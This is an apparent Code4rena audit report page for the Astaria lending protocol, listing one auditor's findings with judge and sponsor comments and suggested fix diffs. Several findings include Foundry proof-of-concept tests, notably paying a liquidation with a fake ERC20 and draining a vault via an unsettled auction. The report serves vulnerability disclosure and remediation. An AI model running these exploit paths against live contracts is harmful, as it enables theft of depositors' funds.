Platform: Code4rena
Start Date: 05/01/2023
Pot Size: $90,500 USDC
Total HM: 55
Participants: 103
Period: 14 days
Judge: Picodes
Total Solo HM: 18
Id: 202
League: ETH
Rank: 12/103
Findings: 8
Award: $2,166.13
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xcm, 0xsomeone, HE1M, Jeiwan, Koolex, bin2chen, c7e7eff, cergyk, dragotanqueray, evan, ladboy233, synackrst, unforgiven, wallstreetvilkas
33.2422 USDC - $33.24
The protocol is left in a corrupted state, with:
To liquidate NFTs the protocol integrates with Seaport:
The safeTransferFrom
function of ClearingHouse
is expected to be called only by Seaport (specifically, the allowed conduit). However, it doesn't implement access control, allowing anyone to call it with fake input values and corrupt the state of the protocol
safeTransferFrom
function of ClearingHouse
to repay Bob's debt with fake ERC20 tokens and corrupt the state of the protocol.The following PoC demonstrates this scenario
// src/test/AstariaTest.t.sol ... import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol"; ... contract AstariaTest is TestHelpers { ... function testFakeAuctionPayment_AUDIT() public { address borrower = address(69); address liquidator = address(7); // Create and liquidate a loan. (address publicVault, ILienToken.Stack[] memory stack) = setupLiquidation( borrower ); vm.startPrank(liquidator); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); vm.stopPrank(); uint256 collId = stack[0].lien.collateralId; ClearingHouse chouse = COLLATERAL_TOKEN.getClearingHouse(collId); // The owner of the NFT is the clearing house, as expected. (address nftContract, uint256 nftId) = COLLATERAL_TOKEN.getUnderlying(collId); assertEq(ERC721(nftContract).ownerOf(nftId), address(chouse)); // Calling `safeTransferFrom` on the clearing house directly and paying with // a fake token. MockERC20 fakeERC20 = new MockERC20("FAKE", "FAKE", 18); uint256 amount = standardLienDetails.liquidationInitialAsk; fakeERC20.mint(address(this), amount); fakeERC20.transfer(address(chouse), amount); chouse.safeTransferFrom(address(0), address(0), uint256(uint160(address(fakeERC20))), amount, ""); // The owner of the NFT is still the clearing house. assertEq(ERC721(nftContract).ownerOf(nftId), address(chouse)); // However, the collateral NFT was burnt... vm.expectRevert("NOT_MINTED"); COLLATERAL_TOKEN.ownerOf(collId); // ...the lien was fully repaid and burnt... vm.expectRevert("NOT_MINTED"); LIEN_TOKEN.ownerOf(stack[0].point.lienId); // ...the collateral was freed. assertEq(LIEN_TOKEN.getCollateralState(collId), ""); } ... }
Manual review
Consider adding authentication checks to the safeTransferFrom
function of ClearingHouse
and letting only Seaport call it. As an extra safety check, consider ensuring that the payment was made using the correct ERC20 token.
#0 - c4-judge
2023-01-24T07:47:39Z
Picodes marked the issue as duplicate of #564
#1 - c4-judge
2023-02-15T07:29:28Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-02-23T21:03:28Z
Picodes changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-02-24T10:37:08Z
This previously downgraded issue has been upgraded by Picodes
#4 - c4-judge
2023-02-24T10:39:27Z
Picodes marked the issue as not a duplicate
#5 - c4-judge
2023-02-24T10:40:21Z
Picodes marked the issue as duplicate of #521
🌟 Selected for report: rbserver
Also found by: Apocalypto, Jeiwan, evan, jesusrod15, ladboy233, m9800
165.479 USDC - $165.48
Deposited funds are locked indefinitely in private vaults.
The withdraw
function of Vault
calls safeTransferFrom
with the from
address set to address(this)
to withdraw funds for the caller (Vault.sol#L72), which requires that the contract has approved token spending to itself. This can be seen from, for example, the OpenZeppelin ERC20 implementation:
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } }
However, the contract never does an approve to self. As a result, the call to transferFrom
will always fail due to insufficient allowance.
withdraw
but the call reverts.Manual review
Consider using safeTransfer(msg.sender, amount)
instead of safeTransferFrom(address(this), msg.sender, amount)
.
#0 - c4-judge
2023-01-24T09:28:49Z
Picodes marked the issue as duplicate of #489
#1 - c4-judge
2023-02-15T07:49:16Z
Picodes marked the issue as satisfactory
765.0557 USDC - $765.06
The owner of a collateral NFT that was liquidated and then claimed by the liquidator (after the auction had no bids) may drain the vault the loan was taken from.
There's an extreme situation when a liquidated and auctioned collateral NFT had no bids and the auction has expired. In this situation, the liquidator may claim the NFT by calling CollateralToken.liquidatorNFTClaim. The function:
However, the function doesn't settle the auction. As a result:
CollateralToken
is not burned (CollateralToken.sol#L538);This allows the owner of the liquidated collateral NFT to create a new lien and take the maximal loan without providing any collateral.
The following PoC demonstrates the above scenario:
// src/test/AstariaTest.t.sol function testAuctionEndNoBidsMismanagement_AUDIT() public { address bob = address(2); TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); // Creating a public vault and providing some liquidity. address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); (, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 100 ether, isFirstLien: true }); uint256 collateralId = tokenContract.computeId(tokenId); vm.warp(block.timestamp + 11 days); // Liquidator liquidates the loan after expiration. address liquidator = address(0x123); vm.prank(liquidator); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); // Skipping the auction duration and making no bids. skip(4 days); // Liquidator claims the liquidated NFT. vm.prank(liquidator); COLLATERAL_TOKEN.liquidatorNFTClaim(listedOrder); PublicVault(publicVault).processEpoch(); // Liquidator is the rightful owner of the collateral NFT. assertEq(nft.ownerOf(tokenId), address(liquidator)); // Since the auction wasn't fully settled, the CollateralToken still exists for the collateral NFT. // The borrower is the owner of the CollateralToken. assertEq(COLLATERAL_TOKEN.ownerOf(collateralId), address(this)); // WETH balances at this moment: // 1. the borrower keep holding the 100 ETH it borrowed earlier; // 2. the vault keeps holding 50 ETH of liquidity. assertEq(WETH9.balanceOf(address(this)), 100 ether); assertEq(WETH9.balanceOf(address(publicVault)), 50 ether); // The borrower creates another lien. This time, the borrower is not the owner of the collateral NFT. // However, it's still the owner of the CollateralToken. (, stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); // The borrower has taken a loan of 50 ETH from the vault. assertEq(WETH9.balanceOf(address(this)), 150 ether); // The vault was drained. assertEq(WETH9.balanceOf(address(publicVault)), 0 ether); }
Manual review
Consider settling the auction at the end of settleLiquidatorNFTClaim
:
diff --git a/src/ClearingHouse.sol b/src/ClearingHouse.sol index 5c2a400..d4ee28d 100644 --- a/src/ClearingHouse.sol +++ b/src/ClearingHouse.sol @@ -228,5 +228,7 @@ contract ClearingHouse is AmountDeriver, Clone, IERC1155, IERC721Receiver { 0, s.auctionStack.stack ); + uint256 collateralId = _getArgUint256(21); + ASTARIA_ROUTER.COLLATERAL_TOKEN().settleAuction(collateralId); } }
#0 - SantiagoGregory
2023-01-27T03:18:11Z
@androolloyd
#1 - c4-sponsor
2023-02-02T17:07:00Z
androolloyd marked the issue as sponsor confirmed
#2 - androolloyd
2023-02-03T17:45:18Z
@SantiagoGregory
#3 - c4-judge
2023-02-15T08:10:00Z
Picodes marked the issue as satisfactory
#4 - c4-judge
2023-02-15T08:11:38Z
Picodes marked the issue as primary issue
#5 - c4-judge
2023-02-15T08:12:54Z
Picodes marked issue #196 as primary and marked this issue as a duplicate of 196
#6 - c4-judge
2023-02-15T08:13:04Z
Picodes marked the issue as selected for report
🌟 Selected for report: Jeiwan
Also found by: cccz, chaduke, obront, rvierdiiev
371.8171 USDC - $371.82
https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/LienToken.sol#L189 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/PublicVault.sol#L627-L628
After a buyout, the slope of a vault won't be increased. As a result, liquidity providers will lose reward for providing liquidity to borrowers and the borrower will not pay interest for the lien that was bought out.
Buyout is an important refinancing mechanism that allows borrowers to apply new terms (e.g. changed loan rate and/our duration) to their loans. The implementation of the mechanism allows borrower to repay the owed amount for a lien, burn the lien, and create a new lien. When burning and creating liens it's important to update the slope of a vault: is the total interest accrued by vaults. However, during a buyout the slope of the vault where a new lien is created is not increased:
Since, during a buyout, a lien with a different interest rate may be created (due to changed loan terms), the slope of the vault must be updated correctly:
If the slope of the new lien is not added to the total slope of the vault, then the lien doesn't generate interest, which means the borrower doesn't need to pay interest for taking the loan and liquidity providers won't be rewarded for providing funds to the borrower.
The following PoC demonstrates that the slope of a vault is 0 after the only existing lien was bought out:
// src/test/AstariaTest.t.sol function testBuyoutLienWrongSlope_AUDIT() public { TestNFT nft = new TestNFT(1); address tokenContract = address(nft); uint256 tokenId = uint256(0); uint256 initialBalance = WETH9.balanceOf(address(this)); // create a PublicVault with a 14-day epoch address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); vm.label(publicVault, "PublicVault"); // lend 50 ether to the PublicVault as address(1) _lendToVault( Lender({addr: address(1), amountToLend: 50 ether}), publicVault ); // borrow 10 eth against the dummy NFT (uint256[] memory liens, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: standardLienDetails, amount: 10 ether, isFirstLien: true }); // Right after the lien was created the slope of the vault equals to the slope of the lien. assertEq(PublicVault(publicVault).getSlope(), LIEN_TOKEN.calculateSlope(stack[0])); vm.warp(block.timestamp + 3 days); IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: refinanceLienDetails, amount: 10 ether, stack: stack }); (stack, ) = VaultImplementation(publicVault).buyoutLien( stack, uint8(0), refinanceTerms ); // After a buyout the slope of the vault is 0, however it must be equal to the slope of the lien. // Error: a == b not satisfied [uint] // Expected: 481511019363 // Actual: 0 assertEq(PublicVault(publicVault).getSlope(), LIEN_TOKEN.calculateSlope(stack[0])); // A lien exists after the buyout, so the slope of the vault cannot be 0. uint256 collId = stack[0].lien.collateralId; assertEq(LIEN_TOKEN.getCollateralState(collId), bytes32(hex"7c2c35af3fb5f00ff3995cdddd95dcbbad96eea7bca39b305f2d0f8a55d838f8")); }
Manual review
Consider increasing the slope of a public vault after a buyout, similarly to how it's done after a new commitment.
#0 - c4-judge
2023-01-24T10:33:12Z
Picodes marked the issue as duplicate of #366
#1 - c4-judge
2023-02-15T08:52:26Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-02-15T08:55:51Z
Picodes marked the issue as selected for report
#3 - c4-judge
2023-02-23T21:11:58Z
Picodes changed the severity to QA (Quality Assurance)
#4 - c4-judge
2023-02-24T10:36:20Z
This previously downgraded issue has been upgraded by Picodes
🌟 Selected for report: cccz
Also found by: 0xbepresent, Jeiwan, chaduke
397.2405 USDC - $397.24
https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/LienToken.sol#L189 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/PublicVault.sol#L633
After a buyout, the lien counter of the epoch of the new lien won't be increased. As a result, the epoch may be processed when there's at least one unpaid lien, leaving the vault with a bad debt that cannot be repaid because, after an epoch was processed, it belongs to an older epoch.
Buyout is an important refinancing mechanism that allows borrowers to apply new terms (e.g. changed loan rate and/our duration) to their loans. The implementation of the mechanism allows borrower to repay the owed amount for a lien, burn the lien, and create a new lien. When burning and creating liens it's important to update lien counters for epochs: an epoch cannot be processed if the count of liens in the epoch is greater than 0. However, during a buyout the lien count is not increased for the new lien:
Since the net number of liens before a buyout is 0 (one is created and one is burnt), the counters must be updated correctly: the counter for the epoch of the burned lien must be decreased by 1 and the counter of the epoch of the created lien must be increased by 1.
To demonstrate the bug we need to add a getter to PublicVault
because epoch data is not public in the current implementation:
function getEpochData(uint256 epoch) public returns (IPublicVault.EpochData memory epochData) { VaultData storage s = _loadStorageSlot(); epochData = s.epochData[uint64(epoch)]; }
After than, we can clearly see that the counter of the epoch of the new lien is not increased after a buyout:
// src/test/AstariaTest.t.sol function testBuyoutLien_AUDIT() public { TestNFT nft = new TestNFT(1); address tokenContract = address(nft); uint256 tokenId = uint256(0); uint256 initialBalance = WETH9.balanceOf(address(this)); // create a PublicVault with a 14-day epoch address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); vm.label(publicVault, "PublicVault"); // lend 50 ether to the PublicVault as address(1) _lendToVault( Lender({addr: address(1), amountToLend: 50 ether}), publicVault ); // borrow 10 eth against the dummy NFT (uint256[] memory liens, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: standardLienDetails, amount: 10 ether, isFirstLien: true }); uint256 epoch = IPublicVault(publicVault).getLienEpoch(stack[0].point.end); IPublicVault.EpochData memory epochData = PublicVault(publicVault).getEpochData(epoch); // Before a buyout, the number of open liens in epoch 0 is 1, as expected. assertEq(epoch, 0); assertEq(epochData.liensOpenForEpoch, 1); vm.warp(block.timestamp + 3 days); IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: refinanceLienDetails, amount: 10 ether, stack: stack }); (stack, ) = VaultImplementation(publicVault).buyoutLien( stack, uint8(0), refinanceTerms ); // After a buyout, the number of open liens in epoch 0 is 0, as expected. epochData = PublicVault(publicVault).getEpochData(epoch); assertEq(epochData.liensOpenForEpoch, 0); epoch = IPublicVault(publicVault).getLienEpoch(stack[0].point.end); epochData = PublicVault(publicVault).getEpochData(epoch); // However, in epoch 1, where the new lien will end, the number of open liens is also 0. assertEq(epoch, 1); // This will fail, but it shouldn't. assertEq(epochData.liensOpenForEpoch, 1); }
Manual review
Consider increasing the liens counter after a buyout, similarly to how it's done after a new commitment.
#0 - c4-judge
2023-01-24T18:02:24Z
Picodes marked the issue as duplicate of #222
#1 - c4-judge
2023-02-18T17:23:01Z
Picodes marked the issue as selected for report
#2 - c4-judge
2023-02-23T21:14:19Z
Picodes marked issue #222 as primary and marked this issue as a duplicate of 222
#3 - c4-judge
2023-02-24T10:24:48Z
Picodes marked the issue as satisfactory
🌟 Selected for report: Tointer
Also found by: Jeiwan, chaduke, gz627, joestakey, obront, rvierdiiev, unforgiven
130.3147 USDC - $130.31
Liquidation auction proceedings may be locked in WithdrawProxy
indefinitely if the asset of the vault has less than 18 decimals.
The claim function of WithdrawProxy
is used to distribute auction proceedings after collateral liquidation. If an auction ends in another epoch, a Withdraw
proxy is deployed and is set as the payee. WithdrawProxy
is also used by liquidity providers to receive liquidity they have removed from a vault: WithdrawProxy
serves as an intermediary contract when liquidity provider redeem their shares.
To separate accounting of liquidation proceedings and withdrawn liquidity, WithdrawProxy
uses the withdrawRatio
variable, which is set when processing the current epoch: withdraw ratio tells how much tokens to leave in WithdrawProxy
during claiming, for liquidity providers to redeem them from the contract (WithdrawProxy.sol#L271-L282):
transferAmount = uint256(s.withdrawRatio).mulDivDown( balance, 10**ERC20(asset()).decimals() ); unchecked { balance -= transferAmount; } if (balance > 0) { ERC20(asset()).safeTransfer(VAULT(), balance); }
In the above snippet, in the transferAmount
calculation, the current contract's balance is multiplied by the withdraw ratio. However, the denominator in the mulDivDown
is wrong: it should always be 10e18
because withdraw ratio always has 18 decimals since it's calculated as a ratio of total supplies of shares of a vault and a WithdrawProxy
(PublicVault.sol#L312-L319):
uint256 proxySupply = currentWithdrawProxy.totalSupply(); s.liquidationWithdrawRatio = proxySupply .mulDivDown(1e18, totalSupply()) .safeCastTo88(); currentWithdrawProxy.setWithdrawRatio(s.liquidationWithdrawRatio);
As a result, in a vault that uses an asset with less than 18 decimals (e.g. USDC), claiming assets from WithdrawProxy
wil positive withdrawRatio
will always fail because the transferAmount in the claim
function will always be bigger than the current balance of the contract, and the balance variable will always underflow.
WithdrawProxy
contains proceedings from liquidated collaterals and funds withdrawn by liquidity providers. The WithdrawProxy
contract was deployed from a vault that uses USDC (6 decimals) as its asset.WithdrawProxy
contract is holding 1,000,000 USDC, with 40% if the amount being funds withdrawn by liquidity providers.claim
function on the WithdrawProxy
contract to return liquidation proceedings to the vault. However, the call reverts: transferAmount
is calculated as (0.4e18 * 1_000_000e6) / 1e6 = 4e23 = 400000000000000000 USDC
, which is more than the total circulating supply of USDC.Manual review
Consider this change:
diff --git a/src/WithdrawProxy.sol b/src/WithdrawProxy.sol index 9906ec7..c4d0107 100644 --- a/src/WithdrawProxy.sol +++ b/src/WithdrawProxy.sol @@ -270,7 +270,7 @@ contract WithdrawProxy is ERC4626Cloned, WithdrawVaultBase { } else { transferAmount = uint256(s.withdrawRatio).mulDivDown( balance, - 10**ERC20(asset()).decimals() + 1e18 ); unchecked {
#0 - c4-judge
2023-01-22T16:37:25Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2023-01-27T03:15:33Z
SantiagoGregory marked the issue as sponsor confirmed
#2 - androolloyd
2023-02-03T17:42:29Z
@SantiagoGregory
#3 - c4-judge
2023-02-15T07:51:13Z
Picodes marked the issue as satisfactory
#4 - c4-judge
2023-02-15T07:53:57Z
Picodes marked issue #72 as primary and marked this issue as a duplicate of 72
🌟 Selected for report: rbserver
Also found by: Jeiwan, adriro, cccz, chaduke, rvierdiiev, unforgiven
49.6437 USDC - $49.64
User may not be able to deposit funds to a vault if the number of shares to be minted is smaller than the amount of assets to be deposited.
AstariaRouter inherits from ERC4626Router
and ERC4626RouterBase, which implements functions that allow users to interact with vaults via AstariaRouter
. The mint function allows users to mint a user-specified number of shares by depositing an amount of assets that's calculated by the vault, depending on total shares and the amount of shares to be minted.
The amount of tokens the mint
function of ERC4626RouterBase
approves to the underlying vault is shares
, however it should be the amount of assets to be deposited. In situations when the number of shares is smaller than the number of assets to be deposited, the function will revert.
mint
function of ERC4626RouterBase
. The previewMint function of the vault will convert 1e18 shares to 1.01e18 ETH.ERC4626RouterBase
approves 1e18 ETH to the vault and not 1.01e18 ETH, the call to mint
will revert.Manual review
Consider this change:
diff --git a/src/ERC4626RouterBase.sol b/src/ERC4626RouterBase.sol index a20651e..f2a6b7e 100644 --- a/src/ERC4626RouterBase.sol +++ b/src/ERC4626RouterBase.sol @@ -18,7 +18,8 @@ abstract contract ERC4626RouterBase is IERC4626RouterBase, Multicall { uint256 shares, uint256 maxAmountIn ) public payable virtual override returns (uint256 amountIn) { - ERC20(vault.asset()).safeApprove(address(vault), shares); + uint256 amount = vault.previewMint(shares); + ERC20(vault.asset()).safeApprove(address(vault), amount); if ((amountIn = vault.mint(shares, to)) > maxAmountIn) { revert MaxAmountError(); }
#0 - c4-judge
2023-01-26T16:22:50Z
Picodes marked the issue as duplicate of #118
#1 - c4-judge
2023-02-19T11:03:15Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-02-24T08:53:50Z
Picodes changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-02-24T08:56:00Z
This previously downgraded issue has been upgraded by Picodes
#4 - c4-judge
2023-02-24T09:52:52Z
Picodes marked the issue as not a duplicate
#5 - c4-judge
2023-02-24T09:53:13Z
Picodes marked the issue as duplicate of #488